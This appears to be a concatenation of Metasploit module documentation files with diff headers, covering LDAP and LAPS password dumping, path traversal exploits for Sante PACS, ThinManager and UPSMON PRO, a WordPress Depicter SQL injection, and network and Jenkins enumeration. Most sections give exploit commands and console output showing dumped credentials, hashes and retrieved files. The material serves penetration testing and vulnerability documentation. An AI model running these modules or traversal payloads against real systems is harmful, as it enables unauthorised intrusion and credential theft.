msf5 auxiliary(gather/ldap_hashdump) > options
Module options (auxiliary/gather/ldap_hashdump):
Name Current Setting Required Description
---- --------------- -------- -----------
BASE_DN no LDAP base DN if you already have it]
DOMAIN no The domain to authenticate to
MAX_LOOT no Maximum number of LDAP entries to loot
PASSWORD no The password to authenticate with
PASS_ATTR userPassword, sambantpassword, sambalmpassword, mailu yes LDAP attribute, that contains password hashes
serpassword, password, pwdhistory, passwordhistory, c
learpassword
READ_TIMEOUT 600 no LDAP read timeout in seconds
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.h
tml
RPORT 1389 yes The target port
SSL true no Enable SSL on the LDAP connection
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME no The username to authenticate with
USER_ATTR dn no LDAP attribute(s), that contains username
Auxiliary action:
Name Description
---- -----------
Dump Dump all LDAP data
msf5 auxiliary(gather/ldap_hashdump) >
msf5 auxiliary(gather/ldap_hashdump) > run
[*] Running module against 127.0.0.1
[*] Discovering base DN automatically
[*] Searching root DSE for base DN
[+] Discovered base DN: dc=example,dc=org
[*] Dumping LDAP data from server at 127.0.0.1:1389
[*] Storing LDAP data in loot
[+] Saved LDAP data to /home/hynek/.msf4/loot/20200801220435_default_127.0.0.1_LDAPInformation_704646.txt
[*] Searching for attribute: userPassword
[*] Taking dn attribute as username
[+] Credentials found: cn=user01,ou=users,dc=example,dc=org:password1
[+] Credentials found: cn=user02,ou=users,dc=example,dc=org:password2
[*] Auxiliary module execution completed
msf5 auxiliary(gather/ldap_hashdump) >
```
## Verification Steps
Follow [Setup](#setup) and [Scenarios](#scenarios).
## Actions
### Dump
Dump all LDAP data from the LDAP server.
## Options
### BASE_DN
If you already have the LDAP base DN, you may set it in this option.
### USER_ATTR
LDAP attribute to take the user name from. Defaults to DN, however you may
wish to change it UID, name or similar.
### PASS_ATTR
LDAP attribute to take the password hash from. Defaults to userPassword,
some LDAP server may use different attribute, e.g. unixUserPassword,
sambantpassword, sambalmpassword.
## Scenarios
### Avaya Communication Manager via anonymous bind
```
msf5 > use auxiliary/gather/ldap_hashdump
msf5 auxiliary(gather/ldap_hashdump) > options
Module options (auxiliary/gather/ldap_hashdump):
Name Current Setting Required Description
---- --------------- -------- -----------
BASE_DN no LDAP base DN if you already have it
PASS_ATTR userPassword yes LDAP attribute, that contains password hashes
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 389 yes The target port
SSL false no Enable SSL on the LDAP connection
USER_ATTR dn no LDAP attribute, that contains username
Auxiliary action:
Name Description
---- -----------
Dump Dump all LDAP data
msf5 auxiliary(gather/ldap_hashdump) > set RHOSTS [redacted_ip_address]
RHOSTS => [redacted_ip_address]
msf5 auxiliary(gather/ldap_hashdump) > run
[*] Running module against [redacted_ip_address]
[*] Discovering base DN automatically
[*] Searching root DSE for base DN
[+] Discovered base DN: dc=vsp
[*] Dumping LDAP data from server at [redacted_ip_address]:389
[*] Storing LDAP data in loot
[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726121633_default_[redacted_ip_address]_LDAPInformation_716210.txt
[*] Searching for attribute: userPassword
[*] Taking dn attribute as username
[+] Credentials found: uid=cust,ou=People,dc=vsp:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
[+] Credentials found: uid=admin,ou=People,dc=vsp:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
[*] Auxiliary module execution completed
msf5 auxiliary(gather/ldap_hashdump) > set USER_ATTR uid
USER_ATTR => uid
msf5 auxiliary(gather/ldap_hashdump) > run
[*] Running module against [redacted_ip_address]
[*] Discovering base DN automatically
[*] Searching root DSE for base DN
[+] Discovered base DN: dc=vsp
[*] Dumping LDAP data from server at [redacted_ip_address]:389
[*] Storing LDAP data in loot
[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726121718_default_[redacted_ip_address]_LDAPInformation_712562.txt
[*] Searching for attribute: userPassword
[*] Taking uid attribute as username
[+] Credentials found: cust:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
[+] Credentials found: admin:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
[*] Auxiliary module execution completed
msf5 auxiliary(gather/ldap_hashdump) >
```
### NASDeluxe - NAS with Samba LM/NTLM hashes
```
msf5 auxiliary(gather/ldap_hashdump) > set USER_ATTR uid
USER_ATTR => uid
msf5 auxiliary(gather/ldap_hashdump) > set PASS_ATTR sambantpassword
PASS_ATTR => sambantpassword
msf5 auxiliary(gather/ldap_hashdump) > set RHOSTS [redacted_ip_address]
RHOSTS => [redacted_ip_address]
msf5 auxiliary(gather/ldap_hashdump) > run
[*] Running module against [redacted_ip_address]
[*] Discovering base DN automatically
[*] Searching root DSE for base DN
[+] Discovered base DN: dc=server,dc=nas
[*] Dumping LDAP data from server at [redacted_ip_address]:389
[*] Storing LDAP data in loot
[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726201006_default_[redacted_ip_address]_LDAPInformation_026574.txt
[*] Searching for attribute: sambantpassword
[*] Taking uid attribute as username
[+] Credentials found: admin:209C6174DA490CAEB422F3FA5A7AE634
[+] Credentials found: joe:58E8C758A4E67F34EF9C40944EB5535B
[*] Auxiliary module execution completed
msf5 auxiliary(gather/ldap_hashdump) > run
[*] Running module against [redacted_ip_address]
[*] Discovering base DN automatically
[*] Searching root DSE for base DN
[+] Discovered base DN: dc=server,dc=nas
[*] Dumping LDAP data from server at [redacted_ip_address]:389
[*] Storing LDAP data in loot
[+] Saved LDAP data to /home/hynek/.msf4/loot/20200726201731_default_[redacted_ip_address]_LDAPInformation_427417.txt
[*] Searching for attribute: sambalmpassword
[*] Taking uid attribute as username
[+] Credentials found: admin:F0D412BD764FFE81AAD3B435B51404EE
[+] Credentials found: joe:3417BE166A79DDE2AAD3B435B51404EE
[*] Auxiliary module execution completed
```
@@ -0,0 +1,152 @@
## Vulnerable Application
### Description
This module will gather passwords and password hashes from a target LDAP server via multiple techniques including
Windows LAPS.
### Setup (OpenLDAP via Docker)
Tested in the wild.
You may eventually setup an intentionally insecure OpenLDAP server in docker.
The below OpenLDAP server does not have any ACL, therefore the hashPassword
attributes are readable by anonymous clients.
```
$ git clone https://github.com/HynekPetrak/bitnami-docker-openldap.git
$ cd bitnami-docker-openldap
$ docker-compose up -d
Creating bitnami-docker-openldap_openldap_1 ... done
```
```
msf6 auxiliary(gather/ldap_passwords) > rerun ldap://:@127.0.0.1:1389
[*] Reloading module...
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovered base DN: dc=example,dc=org
[*] The target LDAP server is not an Active Directory Domain Controller.
[*] Searching base DN: dc=example,dc=org
[+] Credentials (password) found in userpassword: user01:password1
[+] Credentials (password) found in userpassword: user02:password2
[*] Found 2 entries and 2 credentials in 'dc=example,dc=org'.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(gather/ldap_passwords) >
```
### Setup (Windows LAPSv1)
1. Start with a Windows Domain Controller
2. Install all the programs from the applicable binary from https://www.microsoft.com/en-us/download/details.aspx?id=46899
3. Make sure the user account is a Schema Admin, reboot after joining the group
4. Set the Group Policy settings as noted in Section 3 of the “LAPS_OperationsGuide.docx” file
5. Run the UI as noted in Section 4, the LDAP attributes should be populated at this point
### Setup (Windows LAPSv2)
1. Start with a Windows Domain Controller that has the April 2023 security update installed
2. Follow the instructions from https://learn.microsoft.com/en-us/windows-server/identity/laps/laps-scenarios-windows-server-active-directory
## Verification Steps
Follow [Setup](#setup) and [Scenarios](#scenarios).
## Options
### BASE_DN
If you already have the LDAP base DN, you may set it in this option.
### USER_ATTR
LDAP attribute to that contains the username. Defaults to the first attribute that exists in the search order
`sAMAccountName` (Active Directory), `uid` (OpenLDAP), `dn`.
### PASS_ATTR
LDAP attribute to take the password data from. This option will be added to the array of options the module always
searches for.
## Scenarios
### Avaya Communication Manager via anonymous bind
```
msf6 auxiliary(gather/ldap_passwords) > options
Module options (auxiliary/gather/ldap_passwords):
Name Current Setting Required Description
---- --------------- -------- -----------
BASE_DN no LDAP base DN if you already have it
PASS_ATTR userPassword no Additional LDAP attribute(s) that contain password hashes
READ_TIMEOUT 600 no LDAP read timeout in seconds
SSL false no Enable SSL on the LDAP connection
USER_ATTR no LDAP attribute(s), that contains username
Used when connecting via an existing SESSION:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION no The session to run this module on
Used when making a new connection via RHOSTS:
Name Current Setting Required Description
---- --------------- -------- -----------
LDAPDomain no The domain to authenticate to
LDAPPassword no The password to authenticate with
LDAPUsername no The username to authenticate with
RHOSTS no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 389 no The target port
THREADS 1 yes The number of concurrent threads (max one per host)
View the full module info with the info, or info -d command.
msf6 auxiliary(gather/ldap_passwords) > set RHOSTS 192.0.2.1
RHOSTS => 192.0.2.1
msf6 auxiliary(gather/ldap_passwords) > run
[*] Discovered base DN: dc=vsp
[*] The target LDAP server is not an Active Directory Domain Controller.
[*] Searching base DN: dc=vsp
[+] Credentials found: cust:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
[+] Credentials found: admin:{SSHA}AZKja92fbuuB9SpRlHqaoXxbTc43Mzc2MDM1Ng==
[*] Found 2 entries and 2 credentials in 'dc=vsp'.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
### NASDeluxe - NAS with Samba LM/NTLM hashes
```
msf6 auxiliary(gather/ldap_passwords) > set RHOSTS 192.0.2.1
RHOSTS => 192.0.2.1
msf5 auxiliary(gather/ldap_passwords) > run
[*] Running module against 192.0.2.1
[*] Discovered base DN: dc=server,dc=nas
[*] The target LDAP server is not an Active Directory Domain Controller.
[*] Searching base DN: dc=server,dc=nas
[+] Credentials found: admin:209C6174DA490CAEB422F3FA5A7AE634
[+] Credentials found: joe:58E8C758A4E67F34EF9C40944EB5535B
[*] Found 2 entries and 2 credentials in 'dc=server,dc=nas'.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
### Windows Server 2019 - LAPSv2 with Encryption
```
msf6 auxiliary(gather/ldap_passwords) > run ldap://msflab.local;smcintyre:Password1!@192.0.2.10
[*] Discovered base DN: DC=msflab,DC=local
[*] The target LDAP server is an Active Directory Domain Controller.
[*] Searching base DN: DC=msflab,DC=local
[+] Credentials (password) found in mslaps-encryptedpassword: Administrator:m8L3A.LcZ9!lnT (expires: 2025-03-08 17:22:57 UTC)
[*] Found 1 entries and 1 credentials in 'DC=msflab,DC=local'.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(gather/ldap_passwords) >
```
@@ -0,0 +1,68 @@
## Vulnerable Application
This module exploits a path traversal vulnerability in Sante PACS Server <= v4.1.0 (CVE-2025-2264) to read arbitrary files from the system.
## Testing
The software can be obtained from
[the vendor](https://www.santesoft.com/win/sante-pacs-server/download.html).
By default, the server listens on TCP port 3000 on all network interfaces.
**Successfully tested on**
- Sante PACS Server v4.1.0 on Windows 22H2
## Verification Steps
1. Install and run the application
2. Start `msfconsole` and run the following commands:
```
msf6 > use auxiliary/gather/pacsserver_traversal
msf6 auxiliary(gather/pacsserver_traversal) > set RHOSTS <IP>
msf6 auxiliary(gather/pacsserver_traversal) > run
```
This should return the database for the web server. Any files retrieved will
be stored as loot.
## Options
### FILE
The file to be retrieved from the file system. By default, this is the database for the web server, HTTP.db. However, any arbitrary
file can be specified.
Example: /.HTTP/HTTP.db
### DEPTH
The traversal depth. The FILE path will be prepended with /assets/ + ../ * DEPTH.
## Scenarios
Running the exploit against v4.1.0 on Windows 22H22 should result in an output similar to the following:
```
msf6 auxiliary(gather/pacsserver_traversal) > run
[*] Running module against 192.168.137.217
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[+] File retrieved: /assets/../../.HTTP/HTTP.db
[*] File saved as loot.
[*] Auxiliary module execution completed
```
The file will be stored as loot:
```
msf6 auxiliary(gather/upsmon_traversal) > loot
Loot
====
host service type name content info path
---- ------- ---- ---- ------- ---- ----
192.168.137.217 pacsserver.file /.HTTP/HTTP.db text/plain File retrieved through PACS Server path traversal. /home/foo/.msf4/loot/20250502165539_default_192.168.137.217_pacsserver.file_594385.txt
```
@@ -0,0 +1,69 @@
## Vulnerable Application
This module exploits a path traversal vulnerability in ThinManager <= v13.0.1 (CVE-2023-27856) to download an arbitrary file from the
system.
The affected service listens by default on TCP port 2031 and runs in the context of NT AUTHORITY\SYSTEM.
**Limitation**: Some files may get mangled by the application during transit.
## Testing
The software can be obtained from
[the vendor](https://thinmanager.com/downloads/).
**Successfully tested on**
- ThinManager v13.0.1 on Windows 22H2
- ThinManager v13.0.0 on Windows 22H2
- ThinManager v12.1.5 on Windows 22H2
- ThinManager v11.1.4 on Windows 22H2
- ThinManager v10.0.2 on Windows 22H2
## Verification Steps
1. Install and run the application
2. Start `msfconsole` and run the following commands:
```
msf6 > use auxiliary/gather/thinmanager_traversal_download
msf6 auxiliary(gather/thinmanager_traversal_download) > set RHOSTS <IP>
msf6 auxiliary(gather/thinmanager_traversal_download) > set FILE <file to download>
msf6 auxiliary(gather/thinmanager_traversal_download) > run
```
This should retrieve the file as specified through FILE from the remote server.
## Options
### FILE
The file to download from the remote server.
## Scenarios
Running the exploit against ThinManager v13.0.1 on Windows 22H2 should result in an output similar to the following:
```
msf6 auxiliary(gather/thinmanager_traversal_download) > run
[*] Running module against 192.168.137.227
[*] 192.168.137.227:2031 - Running automatic check ("set AutoCheck false" to disable)
[!] 192.168.137.227:2031 - The service is running, but could not be validated.
[*] 192.168.137.227:2031 - Sending handshake...
[*] 192.168.137.227:2031 - Received handshake response.
[*] 192.168.137.227:2031 - Requesting /Windows/win.ini from 192.168.137.227
[+] 192.168.137.227:2031 - Received response from target.
[*] 192.168.137.227:2031 - File saved as loot: /home/asdf/.msf4/loot/20250506150022_default_192.168.137.227_thinmanager.file_334213.txt
[*] Auxiliary module execution completed
msf6 auxiliary(gather/thinmanager_traversal_download) > cat /home/asdf/.msf4/loot/20250506150027_default_192.168.137.227_thinmanager.file_381967.txt
[*] exec: cat /home/asdf/.msf4/loot/20250506150027_default_192.168.137.227_thinmanager.file_381967.txt
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
```
@@ -0,0 +1,86 @@
## Vulnerable Application
This module exploits a path traversal vulnerability in UPSMON PRO <= v2.61 (CVE-2022-38120) to read arbitrary files from the system.
By default, the configuration file will be retrieved, which contains the credentials (CVE-2022-38121) for the web service, mail server,
application, and SMS service.
However, any arbitrary file can be specified.
## Testing
The software can be obtained from
[the vendor](https://www.upspowercom.com/PRO-Windows.jsp).
The web server is disabled by default and needs to be enabled first. In the menu, go to Configuration > UPS Connect, and enable the Web
Server checkbox.
By default, the server listens on TCP port 8000 on all network interfaces and runs in the context of NT AUTHORITY\SYSTEM.
**Successfully tested on**
- UPSMON PRO v2.61 on Windows 22H2
- UPSMON PRO v2.57 on Windows 22H2
## Verification Steps
1. Install and run the application
2. Enable the Web Server module
3. Start `msfconsole` and run the following commands:
```
msf6 > use auxiliary/gather/upsmon_traversal
msf6 auxiliary(gather/upsmon_traversal) > set RHOSTS <IP>
msf6 auxiliary(gather/upsmon_traversal) > run
```
This should return the UPSMON PRO configuration file, UPSMON.ini, which contains various cleartext credentials. Any files retrieved will
be stored as loot.
## Options
### FILE
The file to be retrieved from the file system. By default, this is the UPSMON PRO configuration file, UPSMON.ini. However, any arbitrary
file can be specified.
Example: /Users/Public/UPSMON-Pro/UPSMON.ini
### DEPTH
The traversal depth. The FILE path will be prepended with ../ * DEPTH.
## Scenarios
Running the exploit against v2.61 on Windows 22H22 should result in an output similar to the following:
```
msf6 auxiliary(gather/upsmon_traversal) > run
[*] Running module against 192.168.137.218
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[+] File retrieved: ../../../../Users/Public/UPSMON-Pro/UPSMON.ini
[*] UPSMON.ini specified, parsing credentials:
[*] SMTP: (not configured)
[*] Port: 25
[*] Email UserName: (not configured)
[*] Email Password: (not configured)
[*] WebServer UserName: UPSMON
[*] WebServer Password: UPSMON
[*] Main AppPassword: UPSMON
[*] SMS UserName: (not configured)
[*] SMS Password: (not configured)
[*] UPS Name: (not configured)
[*] Phone Number: (not configured)
[*] File saved as loot.
[*] Auxiliary module execution completed
```
The file will be stored as loot:
```
msf6 auxiliary(gather/upsmon_traversal) > loot
Loot
====
host service type name content info path
---- ------- ---- ---- ------- ---- ----
192.168.137.218 upsmonpro.file /USERS/public/upsmon-pro/upsmon.ini text/plain File retrieved through UPSMON PRO path traversal. /home/foo/.msf4/loot/20250502145519_default_192.168.137.218_upsmonpro.file_396058.txt
```
@@ -6,7 +6,7 @@ This module uses an anonymous-bind LDAP connection to dump data from
the vmdir service in VMware vCenter Server version 6.7 prior to the
6.7U3f update, only if upgraded from a previous release line, such as
6.0 or 6.5.
If the bind username and password are provided (BIND_DN and BIND_PW
If the bind username and password are provided (BIND_DN and LDAPPassword
options), these credentials will be used instead of attempting an
anonymous bind.
@@ -36,18 +36,33 @@ If you already have the LDAP base DN, you may set it in this option.
### VMware vCenter Server 6.7 virtual appliance on ESXi
```
msf5 > use auxiliary/gather/vmware_vcenter_vmdir_ldap
msf5 auxiliary(gather/vmware_vcenter_vmdir_ldap) > options
msf6 auxiliary(gather/vmware_vcenter_vmdir_ldap) > show options
Name Current Setting Required Description
---- --------------- -------- -----------
BASE_DN no LDAP base DN if you already have it
DOMAIN no The domain to authenticate to
PASSWORD no The password to authenticate with
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 636 yes The target port
SSL true no Enable SSL on the LDAP connection
USERNAME no The username to authenticate with
Module options (auxiliary/gather/vmware_vcenter_vmdir_ldap):
Name Current Setting Required Description
---- --------------- -------- -----------
BASE_DN no LDAP base DN if you already have it
SSL true no Enable SSL on the LDAP connection
Used when connecting via an existing SESSION:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION no The session to run this module on
Used when making a new connection via RHOSTS:
Name Current Setting Required Description
---- --------------- -------- -----------
LDAPDomain no The domain to authenticate to
LDAPPassword no The password to authenticate with
LDAPUsername no The username to authenticate with
RHOSTS no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-
metasploit.html
RPORT 636 no The target port
Auxiliary action:
@@ -57,6 +72,8 @@ Auxiliary action:
Dump Dump all LDAP data
View the full module info with the info, or info -d command.
msf5 auxiliary(gather/vmware_vcenter_vmdir_ldap) > set rhosts [redacted]
rhosts => [redacted]
msf5 auxiliary(gather/vmware_vcenter_vmdir_ldap) > run
@@ -0,0 +1,136 @@
## Vulnerable Application
The vulnerability affects the **Slider & Popup Builder by Depicter** plugin for WordPress,
versions **up to 3.6.1**, allowing **unauthenticated SQL injection** via the `s` parameter on `admin-ajax.php`.
WordPress itself must be installed.
### Pre-requisites
* **Docker** and **Docker Compose** installed.
## Setup Instructions
1. **Create a `docker-compose.yml`** with:
```yaml
version: '3.1'
services:
wordpress:
image: wordpress:latest
restart: always
ports:
- 5555:80
environment:
WORDPRESS_DB_HOST: db
WORDPRESS_DB_USER: chocapikk
WORDPRESS_DB_PASSWORD: dummy_password
WORDPRESS_DB_NAME: exploit_market
mem_limit: 512m
volumes:
- wordpress:/var/www/html
db:
image: mysql:5.7
restart: always
environment:
MYSQL_DATABASE: exploit_market
MYSQL_USER: chocapikk
MYSQL_PASSWORD: dummy_password
MYSQL_RANDOM_ROOT_PASSWORD: '1'
volumes:
- db:/var/lib/mysql
volumes:
wordpress:
db:
```
2. **Start the environment**
```bash
docker-compose up -d
```
3. **Install Depicter plugin**
```bash
wget https://downloads.wordpress.org/plugin/depicter.3.6.1.zip
unzip depicter.3.6.1.zip
docker cp depicter wordpress:/var/www/html/wp-content/plugins/
```
4. **Activate Depicter**
* Browse to `http://localhost:5555/wp-admin`, log in as admin (create one if needed), and activate **Slider & Popup Builder by Depicter**.
* No additional setup is required.
## Verification Steps
1. **Launch Metasploit**
```bash
msfconsole
```
2. **Load the Depicter SQLi scanner**
```bash
use auxiliary/gather/wp_depicter_sqli_cve_2025_2011
set RHOSTS 127.0.0.1
set RPORT 5555
set TARGETURI /
```
3. **Run the module**
```bash
run
```
4. **Observe output**
The module should:
* Retrieve the database name
* Enumerate tables and infer the `wp_users` table
* Extract `user_login:user_pass` for the number of rows set by `COUNT`
## Options
* **TARGETURI** (`/`): base path to WordPress
* **COUNT** (`1`): number of user rows to retrieve
## Scenarios
```bash
msf6 auxiliary(gather/wp_depicter_sqli_cve_2025_2011) > exploit
[*] Running automatic check ("set AutoCheck false" to disable)
[*] {SQLi} Executing (select 'bEJ')
[*] {SQLi} Encoded to (select 0x62454a)
[+] The target is vulnerable.
[*] {SQLi} Executing (SELECT 15 FROM information_schema.tables WHERE table_name = 'wp_users')
[*] {SQLi} Encoded to (SELECT 15 FROM information_schema.tables WHERE table_name = 0x77705f7573657273)
[*] {WPSQLi} Retrieved default table prefix: 'wp_'
[*] {SQLi} Executing (select group_concat(DCdo) from (select cast(concat_ws(';',ifnull(user_login,''),ifnull(user_pass,'')) as binary) DCdo from wp_users limit 1) ofAGxxQl)
[*] {SQLi} Encoded to (select group_concat(DCdo) from (select cast(concat_ws(0x3b,ifnull(user_login,repeat(0xa,0)),ifnull(user_pass,repeat(0x2,0))) as binary) DCdo from wp_users limit 1) ofAGxxQl)
[!] No active DB -- Credential data will not be saved!
[+] {WPSQLi} Credential for user 'chocapikk' created successfully.
[*] {WPSQLi} Dumped user data:
wp_users
========
user_login user_pass
---------- ---------
chocapikk $wp$2y$10$rc5oXfNPG.bYSnbYvELKZeGgoQ9.QHcAXG8U/xunfXzsviMQkiPga
[+] Loot saved to: /home/chocapikk/.msf4/loot/20250521182202_default_127.0.0.1_wordpress.users_171366.txt
[*] {WPSQLi} Reporting host...
[*] {WPSQLi} Reporting service...
[*] {WPSQLi} Reporting vulnerability...
[+] {WPSQLi} Reporting completed successfully.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,48 @@
## Description
This module is not intended to exploit a vulnerability, but rather to perform host discovery on IPv6-enabled local networks. It sends ICMPv6 Echo Requests to several well-known multicast addresses (e.g., FF02::1) and listens for any ICMPv6-based response.
This technique helps identify active IPv6 hosts and services, particularly when traditional IPv4 reconnaissance is limited or disabled. All responses — including Echo Replies, Neighbor Solicitations, and others — are valid evidence of a live host.
## Verification Steps
1. Do: `use auxiliary/scanner/discovery/ipv6_neighbor`
2. Do: `set RHOSTS [IP]`
3. Do: `set SHOST [IP]`
4. Do: `run`
## Scenarios
```
msf6 auxiliary(scanner/discovery/ipv6_multicast_ping) > set SHOST 10.0.2.4
SHOST => 10.0.2.4
msf6 auxiliary(scanner/discovery/ipv6_multicast_ping) > set RHOST 10.0.2.2-10RHOST => 10.0.2.2-10
msf6 auxiliary(scanner/discovery/ipv6_multicast_ping) > run
[*] Running module against 10.0.2.2
[*] Sending multicast pings...
[*] Listening for responses...
[*] Running module against 10.0.2.3
[*] Sending multicast pings...
[*] Listening for responses...
[*] Running module against 10.0.2.4
[*] Sending multicast pings...
[*] Listening for responses...
[*] Running module against 10.0.2.5
[*] Sending multicast pings...
[*] Listening for responses...
[*] Running module against 10.0.2.6
[*] Sending multicast pings...
[*] Listening for responses...
[*] Running module against 10.0.2.7
[*] Sending multicast pings...
[*] Listening for responses...
[*] Running module against 10.0.2.8
[*] Sending multicast pings...
[*] Listening for responses...
[*] Running module against 10.0.2.9
[*] Sending multicast pings...
[*] Listening for responses...
[*] Running module against 10.0.2.10
[*] Sending multicast pings...
[*] Listening for responses...
[*] Auxiliary module execution completed
```
@@ -0,0 +1,22 @@
## Description
Detect common UDP services using sequential probes.
## Verification Steps
1. Do: `use auxiliary/scanner/discovery/udp_probe`
2. Do: `set RHOSTS [IP]`
5. Do: `set THREADS [number of threads]`
6. Do: `run`
## Scenarios
```
msf6 auxiliary(scanner/discovery/udp_probe) > use modules/auxiliary/scanner/discovery/udp_probe
msf6 auxiliary(scanner/discovery/udp_probe) > set RHOSTS 10.0.3.5
RHOSTS => 10.0.3.5
msf6 auxiliary(scanner/discovery/udp_probe) > run
[+] Discovered SNMP on 10.0.3.5:161 (Hardware: Intel64 Family 6 Model 142 Stepping 12 AT/AT COMPATIBLE - Software: Windows Version 6.1 (Build 7601 Multiprocessor Free))
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,37 @@
## Description
This module identifies the existence of possible copies of a specific file in a given path.
## Verification Steps
1. `./msfconsole -q`
2. `set RHOSTS <rhost>`
3. `set RPORT <rport>`
4. `set PATH <filepath>`
5. `run`
## Scenarios
```
msf6 auxiliary(scanner/http/copy_of_file) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 auxiliary(scanner/http/copy_of_file) > set PATH /search_a_copy.txt
PATH => /search_a_copy.txt
msf6 auxiliary(scanner/http/copy_of_file) > run
[*] Using code '404' as not found.
[+] [127.0.0.1] Found http://127.0.0.1:80/Copy_(1)_of_search_a_copy.txt [200]
[*] Using code '404' as not found.
[+] [127.0.0.1] Found http://127.0.0.1:80/Copy_(2)_of_search_a_copy.txt [200]
[*] Using code '400' as not found.
[*] Using code '404' as not found.
[+] [127.0.0.1] Found http://127.0.0.1:80/Copy_of_search_a_copy.txt [200]
[*] Using code '404' as not found.
[*] Using code '404' as not found.
[+] [127.0.0.1] Found http://127.0.0.1:80/Copysearch_a_copy.txt [200]
[*] Using code '404' as not found.
[+] [127.0.0.1] Found http://127.0.0.1:80/_search_a_copy.txt [200]
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,72 @@
# Jenkins Enumeration Auxiliary Module
## Vulnerable Application
This module performs unauthenticated enumeration on Jenkins servers. It attempts to discover the Jenkins version, identify unauthenticated accessible endpoints, and gather useful system information when possible.
Jenkins servers that do not enforce strict authentication on certain URLs (such as `/script`) are susceptible to this enumeration. This module helps penetration testers quickly identify such information leakage.
Jenkins instances may expose sensitive information through misconfigured endpoints. Many companies unintentionally leave URLs like /script and /manage open without authentication, allowing attackers to retrieve system details. If these endpoints return data, its a sign that authentication settings might need to be tightened.
## Verification Steps
1. Start `msfconsole`
2. Use the module: `use auxiliary/scanner/http/jenkins_enum`
3. Set the target(s) and other options: `set RHOSTS <target IP or CIDR>`, `set RPORT 8080`, `set TARGETURI /jenkins/`, etc
4. Run the module: `run`
5. You might see output similar to:
```
[+] 192.168.1.100:8080 - Jenkins Version: 2.319.1
[+] 192.168.1.100:8080 - /script is accessible without authentication (HTTP 200)
[+] 192.168.1.100:8080 - Enumerating plugins...
[+] 192.168.1.100:8080 - Plugin detected: Git Plugin 4.11.3
[+] 192.168.1.100:8080 - System Information:
OS: Linux
OS Version: 5.4.0-77-generic
Architecture: amd64
Jenkins Home: /var/lib/jenkins
[*] 192.168.1.100:8080 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
## Options
### RHOSTS
Specifies the target host(s) or IP range to scan. You can input a single IP address, a range, or a CIDR subnet.
Default: None (required)
### RPORT
Defines the target port for HTTP connections. Jenkins often runs on port 8080, but the default for this module is 80. Adjust accordingly.
Default: 80
### TARGETURI
The base path of the Jenkins application on the target server. Usually /jenkins/ but can differ based on installation or proxy setup.
Default: /jenkins/
### THREADS
The number of concurrent threads to use for faster scanning. Increasing this number can speed up scans but may generate more network traffic or load on the target.
Default: 1
### VHOST
Specify a virtual host name for the HTTP Host header if Jenkins is running behind a virtual host or reverse proxy.
Default: None
## Scenarios
This example demonstrates how to use the jenkins_enum module to enumerate information from a Jenkins server running on the local network at IP 192.168.1.100 on port 8080, where Jenkins is installed at the default /jenkins/ path.
```
msf6 > use auxiliary/scanner/http/jenkins_enum
msf6 auxiliary(scanner/http/jenkins_enum) > set RHOSTS 192.168.1.100
msf6 auxiliary(scanner/http/jenkins_enum) > set RPORT 8080
msf6 auxiliary(scanner/http/jenkins_enum) > set TARGETURI /jenkins/
msf6 auxiliary(scanner/http/jenkins_enum) > run
[*] 192.168.1.100:8080 - Jenkins Version: 2.319.1
[+] 192.168.1.100:8080 - /script is accessible without authentication (HTTP 200)
[*] 192.168.1.100:8080 - Enumerating plugins...
[+] 192.168.1.100:8080 - Plugin detected: Git Plugin 4.11.3
[+] 192.168.1.100:8080 - Plugin detected: Matrix Authorization Strategy 2.6.7
[+] 192.168.1.100:8080 - Plugin detected: Workflow CPS 2.92
[*] 192.168.1.100:8080 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
The module retrieves the Jenkins version and installed plugins without requiring credentials, which can help identify vulnerable plugin versions or configuration weaknesses.
@@ -0,0 +1,111 @@
## Vulnerable Application
This module attempts to bruteforce credentials for OPNSense.
This module was specifically tested on version 25.1 and 21.1, with older versions being unavailable from OPNSense mirrors.
Note:
By default, OPNSense comes with a built-in account named `root` with the password being `opnsense`.
When performing too many login attempts, OPNSense will drop all packets coming from your IP, until the router is either:
- Restarted
- An anti-lockout rule is added
## Verification Steps
1. Set up an OPNSense VM or target a real installation
1. Start `bundle exec ./msfconsole -q`
1. `use auxiliary/scanner/http/opnsense_login`
1. `set ssl true`
1. `set pass_file ...`
1. `set user_file ...`
1. `run`
1. or, using some example inline options:
```
run pass_file=data/wordlists/default_pass_for_services_unhash.txt \
user_file=data/wordlists/default_pass_for_services_unhash.txt \
